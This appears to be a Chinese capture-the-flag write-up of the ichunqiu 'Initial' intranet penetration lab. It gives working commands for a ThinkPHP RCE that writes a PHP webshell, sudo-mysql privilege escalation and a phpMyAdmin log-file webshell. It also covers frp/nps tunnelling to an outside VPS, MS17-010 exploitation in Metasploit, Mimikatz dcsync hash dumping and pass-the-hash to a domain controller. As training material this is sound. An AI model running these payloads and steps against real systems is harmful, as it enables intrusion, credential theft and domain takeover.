场景介绍
场景地址:仿真场景-专业徽章 (ichunqiu.com)
靶标介绍:
Initial是一套难度为简单的靶场环境,完成该挑战可以帮助玩家初步认识内网渗透的简单流程。该靶场只有一个flag,各部分位于不同的机器上。
网络拓扑:(借一张图)
渗透过程
外网
给了个ip :39.99.255.97
先fscan扫一下
┌──(kali㉿kali)-[~/Desktop/PENTEST]
└─$ ./fscan -h 39.99.255.97 -np -full___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.3
start infoscan
39.99.255.97:22 open
39.99.255.97:80 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://39.99.255.97 code:200 len:5578 title:Bootstrap Material Admin
[+] PocScan http://39.99.255.97 poc-yaml-thinkphp5023-method-rce poc1
已完成 2/2
[*] 扫描结束,耗时: 25.668141774s
有一个thinkphp的洞。
直接用工具拿shell。但工具貌似不大靠谱:
直接手打Exp:
/index.php?s=captcha_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo '<?php eval($_POST[1]); ?>' > shell.php
然后蚁剑连接。
然后找flag。当前目录没找着,那么应该就是在root目录下。所以我们需要提权。
尝试sudo -l
发现可以mysql提权。
照着mysql | GTFOBins来
sudo mysql -e '\! ls /root'
sudo mysql -e '\! ls /root/flag'
sudo mysql -e '\! cat /root/flag/flag01.txt'
flag01:flag{60b53231-
内网信息收集
接下来就应该打内网了。传一个fscan扫内网。
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.1.2 is alive
(icmp) Target 172.22.1.15 is alive
(icmp) Target 172.22.1.18 is alive
(icmp) Target 172.22.1.21 is alive
[*] Icmp alive hosts len is: 4
172.22.1.21:135 open
172.22.1.18:135 open
172.22.1.2:135 open
172.22.1.18:80 open
172.22.1.15:80 open
172.22.1.2:445 open
172.22.1.21:139 open
172.22.1.18:139 open
172.22.1.2:139 open
172.22.1.2:88 open
172.22.1.21:445 open
172.22.1.18:445 open
172.22.1.18:3306 open
172.22.1.15:22 open
[*] alive ports len is: 14
start vulscan
[*] NetInfo
[*]172.22.1.2[->]DC01[->]172.22.1.2
[*] NetInfo
[*]172.22.1.18[->]XIAORANG-OA01[->]172.22.1.18
[*] NetInfo
[*]172.22.1.21[->]XIAORANG-WIN7[->]172.22.1.21
[*] OsInfo 172.22.1.2 (Windows Server 2016 Datacenter 14393)
[*] WebTitle http://172.22.1.15 code:200 len:5578 title:Bootstrap Material Admin
[*] NetBios 172.22.1.21 XIAORANG-WIN7.xiaorang.lab Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[+] MS17-010 172.22.1.21 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetBios 172.22.1.2 [+] DC:DC01.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.1.18 XIAORANG-OA01.xiaorang.lab Windows Server 2012 R2 Datacenter 9600
[*] WebTitle http://172.22.1.18 code:302 len:0 title:None 跳转url: http://172.22.1.18?m=login
[*] WebTitle http://172.22.1.18?m=login code:200 len:4012 title:信呼协同办公系统
[+] PocScan http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1
已完成 14/14
[*] 扫描结束,耗时: 11.722101054s
可以看到172.22.1.21
有一个MS17-010
永恒之蓝漏洞,172.22.1.18
有一个信呼协同OA。
172.22.1.2
是域控。
所以思路比较清晰,利用18开的web服务打18这台主机。
用永恒之蓝打下21,然后横向移动打域控。
内网穿透
这时需要我们用打下的172.22.1.15
作为跳板,来做一个内网穿透。
这里采用nps。
vps上布置好服务端
传client到受控主机上,连接。
然后建一个socks5隧道。
proxifier和proxychains都配置好代理。
此时浏览器访问172.22.1.18
可以看到就能够成功访问了
攻陷域内主机
直接扫漏洞是扫不出来的,这里用dirsearch扫下目录。
proxychains4 dirsearch -u http://172.22.1.18
扫出来有phpMyAdmin
那就应该是弱口令登录后日志写shell了。
root
root
登录后,
SHOW VARIABLES LIKE 'general%';
set global general_log = "ON";
然后改日志文件路径
set global general_log_file='C:\\phpStudy\\PHPTutorial\\www\\shell.php'
写入webshell
select"<?php @eval($_POST[1]);?>";
然后访问:http://172.22.1.18/shell.php
蚁剑设置好代理
然后这个shell连接不是很稳定,最后在C:\Users\Administrator\flag
下找到
flag02.txt: 2ce3-4813-87d4-
MS17-010
接下来就是打域控了,就按着我们的思路先打MS17-010那台机子,然后横向移动打域控。
172.22.1.21
代理启动msf
proxychains4 msfconsole
先用scanner再确定一下:
use auxiliary/scanner/smb/smb_ms17_010
set RHOST 172.22.1.21
exploit
确定了就开始打。
直接用永恒之蓝打的话是打不通的
因为目标主机并不出网,所以我们msf要采用正向监听:
set payload windows/x64/meterpreter/bind_tcp_uuid
这时再exploit就成功了
这个session很不稳定。。。后续操作很容易断。(怀疑可能是nps的性能问题)
重新换frp来内网穿透
frps.ini:
./frps -c ./frps.ini
然后frpc配置
[common]
server_addr = 43.135.119.99
server_port = 7000
[test]
type = tcp
remote_port = 7778
plugin = socks5
plugin_user = admin
plugin_passwd = admin
use_encryption = true
use_compression = true
现在再打就好多了
内网横向移动 pth
查看uid发现已经是system权限。
然后可以直接用meterpreter的load_kiwi来用Mimikatz
load kiwi
用dcsync来导出域内所有的hash
kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit
现在就拿到hash了。
从先前fscan扫描那儿可以看到
172.22.1.2
域控开启了445 smb服务
所以接下来我们就用smb来pass the hash执行命令了
我们传递Administrator的hash
10cf89a850fb1cdbe6bb432b859164c8
用kali自带的crackmapexec
先验证下执行情况:
proxychains4 crackmapexec smb 172.22.1.2 -u Administrator -H 10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab --shares
那么接下来就查看flag03就行了。
proxychains4 crackmapexec smb 172.22.1.2 -u Administrator -H 10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
flag03:e8f88d0d43d6}
flag{60b53231-2ce3-4813-87d4-e8f88d0d43d6}
总结
总结:
- frp >> nps
- Windows代理不稳定,最好用kali的proxychains
- 靶机不出网,msf正向监听打永恒之蓝。
crackmapexec
横向移动利用smb pth打域控。